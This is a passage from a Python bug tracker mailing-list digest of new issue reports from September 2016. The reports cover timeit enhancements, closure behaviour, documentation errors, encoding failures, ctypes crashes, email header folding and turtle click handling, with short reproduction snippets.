title: Implement functools.lru_cache() using ordered dict
type: enhancement
versions: Python 3.7
Added file: http://bugs.python.org/file44777/lru_cache-get-del-set.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28239>
_______________________________________

From report at bugs.python.org  Wed Sep 21 10:08:50 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 21 Sep 2016 14:08:50 +0000
Subject: [New-bugs-announce] [issue28240] Enhance the timeit module
Message-ID: <1474466930.94.0.352912034658.issue28240@psf.upfronthosting.co.za>


New submission from STINNER Victor:

Attached patch makes different changes to the timeit module:

* Display the average, rather than the minimum, of the timings *and* display the standard deviation. It should help a little bit to get more reproductible results.
* Change the default repeat from 3 to 5 to have a better distribution of timings. It makes the timeit CLI 66% slower (ex: 1 second instead of 600 ms). That's the price of stable benchmarks :-)
* Don't disable the garbage collector anymore! Disabling the GC is not fair: real applications use it.
* autorange: start with 1 loop instead of 10 for slow benchmarks like time.sleep(1)
* Display large number of loops as power of 10 for readability, ex: "10^6" instead of "1000000". Also accept "10^6" syntax for the --num parameter.
* Add support for "ns" unit: nanoseconds (10^-9 second)

I consider that these changes are well contained enough to still be ok for 3.6 beta 2. But I add Ned Deily as CC to double check ;-)


This patch is related to my work on Python benchmarks, see:

* http://perf.readthedocs.io/en/latest/
* https://github.com/python/performance

The perf module runs benchmarks in multiple child processes to test different memory layouts (Linux uses ASRL by default) and different hash functions. It helps to get more stable benchmark results, but it's probably overkill for the tiny timeit module. By the way, the "pyperf timeit" command reuses the timeit module of the stdlib.


Note: The timeit module still uses the old getopt module which is very strict. For example "python3 -m timeit pass -v" is not recognized ("-v" is read as a statement part of the benchmark, not as --verbose). But I was too lazy to also modify this part, I may do it later ;-)

----------
components: Benchmarks
files: timeit.patch
keywords: patch
messages: 277142
nosy: brett.cannon, fijall, haypo, ned.deily, pitrou, serhiy.storchaka, yselivanov
priority: normal
severity: normal
status: open
title: Enhance the timeit module
type: performance
versions: Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44780/timeit.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28240>
_______________________________________

From report at bugs.python.org  Wed Sep 21 11:12:53 2016
From: report at bugs.python.org (artxyz)
Date: Wed, 21 Sep 2016 15:12:53 +0000
Subject: [New-bugs-announce] [issue28241] Nested fuctions Unexpected
 behaviour when stored in a list and called after.
Message-ID: <1474470773.2.0.761547544618.issue28241@psf.upfronthosting.co.za>


New submission from artxyz:

Python 2.7.11
GCC 4.8.4

Getting weird results when define a nested function in a loop and store them in a list

    x = list()
    for i in xrange(5):
        def FUN():
            print i
        x.append(FUN)

Calling functions from list using index works fine:

    for i in xrange(5):
        print x[i]
        x[i]()
    # prints 0 1 2 3 4

Calling function using iteration through the sequence yields  wrong results, despite current function (f) changes:

    for f in x:
        print f
        f()
    # prints 4 4 4 4 4

----------
components: Interpreter Core
files: nested_fun_bug.py
messages: 277155
nosy: artxyz
priority: normal
severity: normal
status: open
title: Nested fuctions Unexpected behaviour when stored in a list and called after.
type: behavior
versions: Python 2.7
Added file: http://bugs.python.org/file44781/nested_fun_bug.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28241>
_______________________________________

From report at bugs.python.org  Wed Sep 21 11:26:21 2016
From: report at bugs.python.org (Dennis Jensen)
Date: Wed, 21 Sep 2016 15:26:21 +0000
Subject: [New-bugs-announce] [issue28242] os.environ.get documentation
 missing
Message-ID: <1474471581.82.0.975810420091.issue28242@psf.upfronthosting.co.za>


New submission from Dennis Jensen:

I was encountering what seemed to be odd behavior from os.environ.get() from what I could find out about it and so I tried to locate the actual documentation on how it is supposed to be used now.  However, all I can find is a minor reference to os.environ.  There appears to be no documentation on os.environ.get() and/or any other methods of this sort associated with os.environ.  The alternate functionality os.getenv() is documented but this is not supposed to work the same as os.environ.get()   Still the behavior that I encountered is that it seems that either os.environ.get()) has been changed and/or it is now just simply a proxy for os.getenv() -- as these two seem to function the same way now.  Note: From what I was able to discern about how os.environ.get() worked is that it accepts only 1 parameter and if the item does not exist it throws an error -- while os.getenv() takes 2 parameters and does not throw an error if the item does not exist.

----------
assignee: docs at python
components: Documentation
messages: 277159
nosy: DennisJensen, docs at python
priority: normal
severity: normal
status: open
title: os.environ.get documentation missing
type: resource usage
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28242>
_______________________________________

From report at bugs.python.org  Wed Sep 21 14:27:41 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 21 Sep 2016 18:27:41 +0000
Subject: [New-bugs-announce] [issue28243] Performance regression in
 functools.partial()
Message-ID: <1474482461.16.0.647819968557.issue28243@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

There is 10% performance regression in calling functools.partial() in 3.6.

$ ./python -m perf timeit -s 'from functools import partial; f = lambda x, y: None; g = partial(f, 1)' -- 'g(2)'

Python 3.5:  Median +- std dev: 452 ns +- 25 ns
Python 3.6:  Median +- std dev: 491 ns +- 12 ns

----------
components: Interpreter Core
messages: 277176
nosy: haypo, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Performance regression in functools.partial()
type: performance
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28243>
_______________________________________

From report at bugs.python.org  Wed Sep 21 23:02:03 2016
From: report at bugs.python.org (Matthew Ekstrand-Abueg)
Date: Thu, 22 Sep 2016 03:02:03 +0000
Subject: [New-bugs-announce] [issue28244] Incorrect Example in
 itertools.product description
Message-ID: <1474513323.36.0.596780277043.issue28244@psf.upfronthosting.co.za>


New submission from Matthew Ekstrand-Abueg:

Documentation states:

    # product('ABCD', 'xy') --> Ax Ay Bx By Cx Cy Dx Dy
    # product(range(2), repeat=3) --> 000 001 010 011 100 101 110 

But:

>>> list(itertools.product('ABCD','xy'))
[('A', 'x'), ('A', 'y'), ('B', 'x'), ('B', 'y'), ('C', 'x'), ('C', 'y'), ('D', 'x'), ('D', 'y')]

https://docs.python.org/2/library/itertools.html#itertools.product

----------
assignee: docs at python
components: Documentation
messages: 277188
nosy: Matthew Ekstrand-Abueg, docs at python
priority: normal
severity: normal
status: open
title: Incorrect Example in itertools.product description
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28244>
_______________________________________

From report at bugs.python.org  Thu Sep 22 01:57:05 2016
From: report at bugs.python.org (Jarno Rajala)
Date: Thu, 22 Sep 2016 05:57:05 +0000
Subject: [New-bugs-announce] [issue28245] Embeddable Python does not use
 PYTHONPATH.
Message-ID: <1474523825.78.0.633283708939.issue28245@psf.upfronthosting.co.za>


New submission from Jarno Rajala:

The Windows 64-bit embeddable Python 3.5.2 (also 3.5.1), downloadable from
https://www.python.org/ftp/python/3.5.2/python-3.5.2-embed-amd64.zip, does not set sys.path according to PYTHONPATH.

To reproduce this bug, run these commands from the directory with the embeddable package:
set PYTHONPATH=dummy
python
import sys;sys.path

If this is deliberate behaviour, the help message (python --help) should say that PYTHONPATH doesn't apply, instead it has the usual message. Also, there should be an alternate way of setting additional sys.path directories, e.g. with an additional command-line option. Currently, there's no way to change sys.path, except from Python itself.

----------
components: Windows
messages: 277192
nosy: Jarno Rajala, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Embeddable Python does not use PYTHONPATH.
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28245>
_______________________________________

From report at bugs.python.org  Thu Sep 22 04:15:11 2016
From: report at bugs.python.org (AndreyTomsk)
Date: Thu, 22 Sep 2016 08:15:11 +0000
Subject: [New-bugs-announce] [issue28246] Unable to read simple text file
Message-ID: <1474532111.27.0.448863550012.issue28246@psf.upfronthosting.co.za>


New submission from AndreyTomsk:

File read operation fails when gets specific cyrillic symbol. Tested with script:

testFile = open('ResourceStrings.rc', 'r')
for line in testFile:
    print(line)


Exception message:
Traceback (most recent call last):
  File "min_test.py", line 6, in <module>
    for line in testFile:
  File "C:\Users\afi\AppData\Local\Programs\Python\Python36\lib\encodings\cp1251.py", line 23, in decode
    return codecs.charmap_decode(input,self.errors,decoding_table)[0]
UnicodeDecodeError: 'charmap' codec can't decode byte 0x98 in position 24: character maps to <undefined>

----------
components: IO, Unicode, Windows
files: ResourceStrings.rc
messages: 277206
nosy: AndreyTomsk, ezio.melotti, haypo, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Unable to read simple text file
type: behavior
versions: Python 3.5, Python 3.6
Added file: http://bugs.python.org/file44783/ResourceStrings.rc

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28246>
_______________________________________

From report at bugs.python.org  Thu Sep 22 09:55:29 2016
From: report at bugs.python.org (Paul Moore)
Date: Thu, 22 Sep 2016 13:55:29 +0000
Subject: [New-bugs-announce] [issue28247] Add an option to zipapp to produce
 a Windows executable
Message-ID: <1474552529.42.0.627404378819.issue28247@psf.upfronthosting.co.za>


New submission from Paul Moore:

The zipapp module allows users to bundle their application as a single file "executable". On Windows, the file is given a ".pyz" extension which is associated with the Python launcher. However, this approach is not always equivalent to a native executable (see http://paul-moores-notes.readthedocs.io/en/latest/wrappers.html for more details).

I suggest adding an option to zipapp that prepends a small executable to the zipapp that uses the Python C API to launch the application. A prototype implementation (zastub) is available at https://github.com/pfmoore/pylaunch.

If this seems reasonable, I'll work up a full patch.

----------
assignee: paul.moore
components: Library (Lib), Windows
messages: 277224
nosy: paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: needs patch
status: open
title: Add an option to zipapp to produce a Windows executable
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28247>
_______________________________________

From report at bugs.python.org  Thu Sep 22 09:56:24 2016
From: report at bugs.python.org (Alex Gaynor)
Date: Thu, 22 Sep 2016 13:56:24 +0000
Subject: [New-bugs-announce] [issue28248] Upgrade installers to OpenSSL
 1.0.2i
Message-ID: <1474552584.95.0.0318594270303.issue28248@psf.upfronthosting.co.za>


New submission from Alex Gaynor:

https://www.openssl.org/news/secadv/20160922.txt

----------
assignee: christian.heimes
components: Library (Lib), SSL
keywords: security_issue
messages: 277226
nosy: alex, christian.heimes, dstufft, janssen, ned.deily, paul.moore, ronaldoussoren, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Upgrade installers to OpenSSL 1.0.2i
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28248>
_______________________________________

From report at bugs.python.org  Thu Sep 22 11:32:20 2016
From: report at bugs.python.org (=?utf-8?q?Cl=C3=A9ment?=)
Date: Thu, 22 Sep 2016 15:32:20 +0000
Subject: [New-bugs-announce] [issue28249] doctest.DocTestFinder reports
 incorrect line numbers with exclude_empty=False
Message-ID: <1474558340.5.0.316638267735.issue28249@psf.upfronthosting.co.za>


New submission from Cl?ment:

Line numbers reported by the doctest module are wrong when a function does not include a docstring.  With the attached example file, running

    python -c "import doctest, example; print(doctest.DocTestFinder(exclude_empty=False).find(example))"

produces

    [<DocTest example from example.py:5 (no examples)>,
     <DocTest example.a from example.py:5 (no examples)>,
     <DocTest example.b from example.py:5 (no examples)>,
     <DocTest example.c from example.py:None (no examples)>]

whereas if one uncomments the docstrings of a and c the output is

    [<DocTest example from example.py:1 (no examples)>,
     <DocTest example.a from example.py:1 (no examples)>,
     <DocTest example.b from example.py:5 (no examples)>,
     <DocTest example.c from example.py:9 (no examples)>]

This bug is due to this line in doctest:

    lineno = self._find_lineno(obj, source_lines)

The documentation of _find_lineno says this:

    def _find_lineno(self, obj, source_lines):
        """
        Return a line number of the given object's docstring.  Note:
        this method assumes that the object has a docstring.
        """

This assumption is violated by the call listed above, because of the exclude_empty=False parameter to DocTestFinder().

I guess lineno should just be None for all methods that do not have a docstring?

----------
components: Library (Lib)
files: example.py
messages: 277230
nosy: cpitclaudel
priority: normal
severity: normal
status: open
title: doctest.DocTestFinder reports incorrect line numbers with exclude_empty=False
versions: Python 2.7, Python 3.5
Added file: http://bugs.python.org/file44786/example.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28249>
_______________________________________

From report at bugs.python.org  Thu Sep 22 15:45:06 2016
From: report at bugs.python.org (Kurt Dally)
Date: Thu, 22 Sep 2016 19:45:06 +0000
Subject: [New-bugs-announce] [issue28250] typing.NamedTuple instances are
 not picklable Two
Message-ID: <1474573506.29.0.553712445703.issue28250@psf.upfronthosting.co.za>


New submission from Kurt Dally:

Creating a namedtuple and an instance of the namedtuple in a function then returning the instance to the global namespace made the instance unpickleable, as in Issue25665.

----------
components: Library (Lib)
messages: 277236
nosy: Kurt
priority: normal
severity: normal
status: open
title: typing.NamedTuple instances are not picklable Two
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28250>
_______________________________________

From report at bugs.python.org  Thu Sep 22 18:14:32 2016
From: report at bugs.python.org (Steve Dower)
Date: Thu, 22 Sep 2016 22:14:32 +0000
Subject: [New-bugs-announce] [issue28251] Help manuals do not appear in
 Windows search
Message-ID: <1474582472.92.0.826055372381.issue28251@psf.upfronthosting.co.za>


New submission from Steve Dower:

On Windows 10, you can't search in the start menu for the HTML Help manuals.

This annoys me so much I'm going to figure out a way fix it :)

----------
assignee: steve.dower
components: Windows
messages: 277240
nosy: paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: needs patch
status: open
title: Help manuals do not appear in Windows search
type: enhancement
versions: Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28251>
_______________________________________

From report at bugs.python.org  Fri Sep 23 01:49:12 2016
From: report at bugs.python.org (Eswar Yaganti)
Date: Fri, 23 Sep 2016 05:49:12 +0000
Subject: [New-bugs-announce] [issue28252] Tuples used before introduction to
 tuple in tutorial
Message-ID: <1474609752.92.0.504291617054.issue28252@psf.upfronthosting.co.za>


New submission from Eswar Yaganti:

In the python tutorial, the tuples were used in an example before the introduction to tuples in section 5.1.4

----------
assignee: docs at python
components: Documentation
messages: 277243
nosy: Eswar Yaganti, docs at python
priority: normal
severity: normal
status: open
title: Tuples used before introduction to tuple in tutorial
type: enhancement
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28252>
_______________________________________

From report at bugs.python.org  Fri Sep 23 01:59:40 2016
From: report at bugs.python.org (lijp)
Date: Fri, 23 Sep 2016 05:59:40 +0000
Subject: [New-bugs-announce] [issue28253] the reply's additional "Re:"
Message-ID: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>


New submission from lijp:

hi
I`m a python newer.
when I use python3.4.3 to learn about package calendar,I found a problem, Could you help me to confirm it which is is a bug.

Below is my env:
------------------------------
os: win7 x86
python version:3.4.3
------------------------------
problem:
when I use calendar.prcal() method to print detail calendar information. the display December of year 9999 `s localtion is wrong.
my python source:
--------------------------------------
import calendar
calendar.prcal(9999)
--------------------------------------

partial output:

but,when I use [print (calendar.month(9999,12))] to confirm, it`s OK .

please help me to confirm.
thank you.

----------
messages: 277244
nosy: xibeilijp
priority: normal
severity: normal
status: open
title: the reply's additional "Re:"

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Fri Sep 23 02:21:47 2016
From: report at bugs.python.org (Joe Jevnik)
Date: Fri, 23 Sep 2016 06:21:47 +0000
Subject: [New-bugs-announce] [issue28254] Add C API for gc.enable, gc.disable,
 and gc.isenabled
Message-ID: <1474611707.66.0.467568151114.issue28254@psf.upfronthosting.co.za>


New submission from Joe Jevnik:

I was writing an extension module that was working with weakrefs and wanted to ensure that the GC would not run for a block of code. I noticed that gc.enable/gc.disable are not exposed to C and the state of the gc is in a static variable so it cannot be mutated from an extension.

This change adds an easier way to access this functionality in the C api without going through an import or PyObject_Call.

I am wondering where to document these functions as well as PyGC_Collect. I didn't see that function anywhere in the docs (and didn't know about it) so I would like to make them more visible. My first thought was Doc/c-api/gcsupport.rst but this is not in service of supporting the GC, it is about the state of the GC itself. If that seems like a decent place I could add a small section at the bottom about interacting with the GC and document these new functions and PyGC_Collect.

I'm sorry if this is exposed elsewhere. If it is I can try to add some links to i

----------
components: Extension Modules
files: gc-capi.patch
keywords: patch
messages: 277245
nosy: llllllllll
priority: normal
severity: normal
status: open
title: Add C API for gc.enable, gc.disable, and gc.isenabled
versions: Python 3.7
Added file: http://bugs.python.org/file44787/gc-capi.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28254>
_______________________________________

From report at bugs.python.org  Fri Sep 23 04:51:07 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Fri, 23 Sep 2016 08:51:07 +0000
Subject: [New-bugs-announce] [issue28255] TextCalendar.prweek/month/year
 outputs an extra whitespace character
Message-ID: <1474620667.82.0.649697112253.issue28255@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

Currently TextCalendar.prweek/month/year outputs an extra whitespace which makes the output weird:

>>> calendar.TextCalendar().prweek([(1,1),(2,2),(3,3),(4,4),(5,5),(6,6),(7,7)], 2)
 1  2  3  4  5  6  7 >>> calendar.TextCalendar().prmonth(2016,9)
   September 2016
Mo Tu We Th Fr Sa Su
          1  2  3  4
 5  6  7  8  9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30
 >>>

----------
components: Library (Lib)
files: calendar_whitespace.patch
keywords: patch
messages: 277256
nosy: serhiy.storchaka, xiang.zhang
priority: normal
severity: normal
stage: patch review
status: open
title: TextCalendar.prweek/month/year outputs an extra whitespace character
type: enhancement
versions: Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44790/calendar_whitespace.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28255>
_______________________________________

From report at bugs.python.org  Fri Sep 23 05:59:22 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 23 Sep 2016 09:59:22 +0000
Subject: [New-bugs-announce] [issue28256] Cleanup Modules/_math.c
Message-ID: <1474624762.76.0.457189926802.issue28256@psf.upfronthosting.co.za>


New submission from STINNER Victor:

On a code coverage report, I noticed that _math.c has a very bad coverage. In fact, we define dead code when the system provides most required math functions.

Attached patch avoids declaring unused functions.

See the coverage at:
http://tiran.bitbucket.org/python-lcov/Modules/index.html

----------
files: math.patch
keywords: patch
messages: 277266
nosy: christian.heimes, haypo, mark.dickinson
priority: normal
severity: normal
status: open
title: Cleanup Modules/_math.c
versions: Python 3.7
Added file: http://bugs.python.org/file44792/math.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28256>
_______________________________________

From report at bugs.python.org  Fri Sep 23 07:55:46 2016
From: report at bugs.python.org (Kay Hayen)
Date: Fri, 23 Sep 2016 11:55:46 +0000
Subject: [New-bugs-announce] [issue28257] Regression for star argument
 parameter error messages
Message-ID: <1474631746.14.0.840095421551.issue28257@psf.upfronthosting.co.za>


New submission from Kay Hayen:

Hello,

there is a regression in the beta (alpha 4 was ok) for this kind of code:

print("Complex call with both invalid star list and star arguments:")

try:
    a = 1
    b = 2.0

    functionWithDefaults(1,c = 3,*a,**b)
except TypeError as e:
    print(repr(e))

try:
    a = 1
    b = 2.0

    functionWithDefaults(1,*a,**b)
except TypeError as e:
    print(repr(e))

try:
    a = 1
    b = 2.0

    functionWithDefaults(c = 1, *a,**b)
except TypeError as e:
    print(repr(e))

try:
    a = 1
    b = 2.0

    functionWithDefaults(*a,**b)
except TypeError as e:
    print(repr(e))

This prints with beta1 3.6

Complex call with both invalid star list and star arguments:
TypeError("'int' object is not iterable",)
TypeError("'int' object is not iterable",)
TypeError("'float' object is not iterable",)
TypeError('functionWithDefaults() argument after ** must be a mapping, not float',)

The later message is what they all probably should be like. This is 3.5 output:

Complex call with both invalid star list and star arguments:
TypeError('functionWithDefaults() argument after ** must be a mapping, not float',)
TypeError('functionWithDefaults() argument after ** must be a mapping, not float',)
TypeError('functionWithDefaults() argument after ** must be a mapping, not float',)
TypeError('functionWithDefaults() argument after ** must be a mapping, not float',)

The function itself doesn't matter obviously, it's never called. Please restore the old behavior, thanks.

Yours,
Kay

----------
messages: 277270
nosy: kayhayen
priority: normal
severity: normal
status: open
title: Regression for star argument parameter error messages
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28257>
_______________________________________

From report at bugs.python.org  Fri Sep 23 09:31:38 2016
From: report at bugs.python.org (Arfrever Frehtes Taifersar Arahesis)
Date: Fri, 23 Sep 2016 13:31:38 +0000
Subject: [New-bugs-announce] [issue28258] Broken python-config generated
 with Estonian locale
Message-ID: <1474637498.59.0.401173871387.issue28258@psf.upfronthosting.co.za>


New submission from Arfrever Frehtes Taifersar Arahesis:

When Estonian locale (e.g. et_EE.UTF-8) is set, then the following line in Makefile.pre.in does not match all required strings:

sed -e 's,\$$(\([A-Za-z0-9_]*\)),\$$\{\1\},g' < Misc/python-config.sh >python-config

In Estonian locale:
[A-Z] does not match: T, U, V, W, X, Y
[a-z] does not match: t, u, v, w, x, y
https://en.wikipedia.org/wiki/Estonian_orthography

Run-time result without fix applied:

$ LC_ALL=C bash python-config --help
python-config: line 45: LDVERSION: command not found
python-config: line 49: VERSION: command not found
python-config: line 51: prefix: command not found
python-config: line 51: VERSION: command not found
Usage: python-config --prefix|--exec-prefix|--includes|--libs|--cflags|--ldflags|--extension-suffix|--help|--abiflags|--configdir

I attach patch (also fixing distclean target).

----------
assignee: twouters
components: Build
files: python-use_C_locale.patch
keywords: patch
messages: 277277
nosy: Arfrever, twouters
priority: normal
severity: normal
status: open
title: Broken python-config generated with Estonian locale
versions: Python 3.5, Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44794/python-use_C_locale.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28258>
_______________________________________

From report at bugs.python.org  Fri Sep 23 12:25:46 2016
From: report at bugs.python.org (Aristotel)
Date: Fri, 23 Sep 2016 16:25:46 +0000
Subject: [New-bugs-announce] [issue28259] Ctypes bug windows
Message-ID: <1474647946.24.0.533944480109.issue28259@psf.upfronthosting.co.za>


New submission from Aristotel:

I'm wrapping C function using ctypes. Function has following prototype:
bool func(some_struct* pointer, uint32_t a, uint16_t b, uint16_t c, const uint8_t *d, const uint8_t *e, const uint8_t *f, some_enum *e);
I tried a lot of variants of wrapper but on windows I always have "access violation reading 0x00000000" in console. On Linux everything works fine. I tested it with different versions of Python, it presents at least in 3.3 - 3.5. I think bug is in passing uint8_t *d, uint8_t *e, uint8_t *f, because wrapper for almost the same function with 1 pointer instead of 3 works as expected.

----------
components: ctypes
messages: 277286
nosy: PlatonAdCo
priority: normal
severity: normal
status: open
title: Ctypes bug windows
type: crash
versions: Python 3.3, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28259>
_______________________________________

From report at bugs.python.org  Fri Sep 23 13:59:53 2016
From: report at bugs.python.org (Roy Williams)
Date: Fri, 23 Sep 2016 17:59:53 +0000
Subject: [New-bugs-announce] [issue28260] mock._Any and mock._Call implement
 __eq__ but not __hash__
Message-ID: <1474653593.44.0.212461111184.issue28260@psf.upfronthosting.co.za>


New submission from Roy Williams:

I am investigating a migration to Python 3, and to facilitate this we are using the -3 flag as decribed here: https://docs.python.org/3/howto/pyporting.html#prevent-compatibility-regressions . When using this flag I encountered
some issues inside of mock itself.

Python 3 now requires you to implement __hash__ if you implement __eq__. See https://docs.python.org/3.6/reference/datamodel.html#object.%5F%5Fhash%5F%5F .

{mock.ANY}  # Fine in Python 2, Throws in Python 3

I've created a PR that explicitly sets the __hash__ method on these objects as None to ensure the behavior is consistent in Python 3 as well as Python 2.  The folks over at testing-in-python suggested I submit a bug here first and then the fix can be backported to testing-cabal/mock

https://github.com/testing-cabal/mock/pull/378

----------
components: Library (Lib)
messages: 277290
nosy: Roy Williams
priority: normal
severity: normal
status: open
title: mock._Any and mock._Call implement __eq__ but not __hash__
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28260>
_______________________________________

From report at bugs.python.org  Fri Sep 23 16:16:55 2016
From: report at bugs.python.org (Oren Milman)
Date: Fri, 23 Sep 2016 20:16:55 +0000
Subject: [New-bugs-announce] [issue28261] wrong error messages when using
 PyArg_ParseTuple to parse normal tuples
Message-ID: <1474661815.38.0.12357433446.issue28261@psf.upfronthosting.co.za>


New submission from Oren Milman:

------------ current state ------------
In few places in the codebase, PyArg_ParseTuple is called in order to parse a normal tuple (instead of the usual case of parsing the arguments tuple of a function).
In some of these places, failure of PyArg_ParseTuple is handled simply by cleanup (if needed) and returning an error code, and so an exception with the generic error message is raised.
The generic error message is appropriate in case the parsed tuple is the arguments tuple of a function, but might be really wrong in case it is a normal tuple.

For example, such case in Modules/socketmodule.c in socket_getnameinfo leads to the following:
    >>> import socket
    >>> socket.getnameinfo(tuple(), 1)
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    TypeError: function takes at least 2 arguments (0 given)
    >>>


------------ proposed changes ------------
In each of these places, add to the format string (which is passed to PyArg_ParseTuple) a ';', followed by an appropriate error message, as already done in Modules/audioop.c in audioop_ratecv_impl:
        if (!PyArg_ParseTuple(state,
                        "iO!;audioop.ratecv: illegal state argument",
                        &d, &PyTuple_Type, &samps))
            goto exit;


------------ diff ------------
The proposed patches diff file is attached.


------------ tests ------------
I wrote an ugly script to verify the wrong error messages on CPython without my patches, and to test the patches on CPython with my patches. The script is attached (but it might fail on a non-Windows machine).

In addition, I ran 'python_d.exe -m test -j3' (on my 64-bit Windows 10) with and without the patches, and got quite the same output.
The outputs of both runs are attached.

----------
components: IO
files: testBugsOrPatches.py
messages: 277296
nosy: Oren Milman
priority: normal
severity: normal
status: open
title: wrong error messages when using PyArg_ParseTuple to parse normal tuples
type: behavior
versions: Python 3.7
Added file: http://bugs.python.org/file44795/testBugsOrPatches.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28261>
_______________________________________

From report at bugs.python.org  Fri Sep 23 17:22:55 2016
From: report at bugs.python.org (Vincent Vanlaer)
Date: Fri, 23 Sep 2016 21:22:55 +0000
Subject: [New-bugs-announce] [issue28262] Header folder folds incorrectly
 causing MissingHeaderBodySeparatorDefect
Message-ID: <1474665775.15.0.66299435415.issue28262@psf.upfronthosting.co.za>


New submission from Vincent Vanlaer:

Example:

X-Report-Abuse:
 =?us-ascii?q?=3Chttps=3A=2F=2Fwww=2Emailitapp=2Ecom=2Freport=5Fabuse=2Ephp=3Fmid=3Dxxx-xxx-xxxx?=
 =?us-ascii?q?xxxxxxxxxxxxxxxxxxxx=3D=3D-xxx-xx-xx=3E?=

When this header is parsed and reencoded as bytes using policy.default, the result is this:

X-Report-Abuse: <https://www.mailitapp.com/report_abuse.php?mid=xxx-xxx-xxxx
xxxxxxxxxxxxxxxxxxxx==-xxx-xx-xx>

Since the header does not require its value to be an encoded word, it is written as plain text. This removes the FWS between the encoded words. However, it appears that it is still seen as a, now invalid, folding point. When an email with this header is parsed again, it causes a MissingHeaderBodySeparatorDefect

----------
components: email
messages: 277299
nosy: barry, r.david.murray, vincenttc
priority: normal
severity: normal
status: open
title: Header folder folds incorrectly causing MissingHeaderBodySeparatorDefect
type: behavior
versions: Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28262>
_______________________________________

From report at bugs.python.org  Fri Sep 23 19:23:01 2016
From: report at bugs.python.org (Roy Williams)
Date: Fri, 23 Sep 2016 23:23:01 +0000
Subject: [New-bugs-announce] [issue28263] Python 2.7's `-3` flag warns about
 __eq__ being implemented without __hash__ even if __hash__ is never
 accessed.
Message-ID: <1474672981.19.0.9186313262.issue28263@psf.upfronthosting.co.za>


New submission from Roy Williams:

I'm finding the -3 flag to be super useful at identifying problems with code when porting to Python 3.  One of the most common failures, however, is "DeprecationWarning: Overriding __eq__ blocks inheritance of __hash__ in 3.x".  While implementing __eq__ without implementing __hash__ is very much an anti-pattern, this warning would be much less noisy if it could be thrown at time of access (like the __getslice__ warning) instead of time of declaration. 

See Also:
https://github.com/nedbat/coveragepy/pull/17
http://bugs.python.org/issue28260

----------
components: Interpreter Core
messages: 277305
nosy: Roy Williams
priority: normal
severity: normal
status: open
title: Python 2.7's `-3` flag warns about __eq__ being implemented without __hash__ even if __hash__ is never accessed.
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28263>
_______________________________________

From report at bugs.python.org  Fri Sep 23 22:36:40 2016
From: report at bugs.python.org (George Fagin)
Date: Sat, 24 Sep 2016 02:36:40 +0000
Subject: [New-bugs-announce] [issue28264] Python 3.4.4 Turtle library -
 Turtle.onclick events blocked by Turtle.stamp
Message-ID: <1474684600.08.0.523173866083.issue28264@psf.upfronthosting.co.za>


New submission from George Fagin:

After a Turtle.stamp() command, turtle click notifications enabled via Turtle.onclick() are blocked until subsequent turtle commands are issued. Examples of the functions that re-enable click notifications include undo(), fd(0), left(0), etc. I've verified this behavior on both Python 3.4.2 (my Raspberry Pi) and Python 3.4.4 (my Windows 7 laptop).

The attached sample code demonstrates that it's not difficult to work around the issue by using one of those functions immediately after any Turtle.click(), but I'd think that should be handled by the library to it's transparent to the user.

----------
components: Library (Lib)
files: click_and_stamp.py
messages: 277306
nosy: George Fagin
priority: normal
severity: normal
status: open
title: Python 3.4.4 Turtle library - Turtle.onclick events blocked by Turtle.stamp
type: behavior
versions: Python 3.4
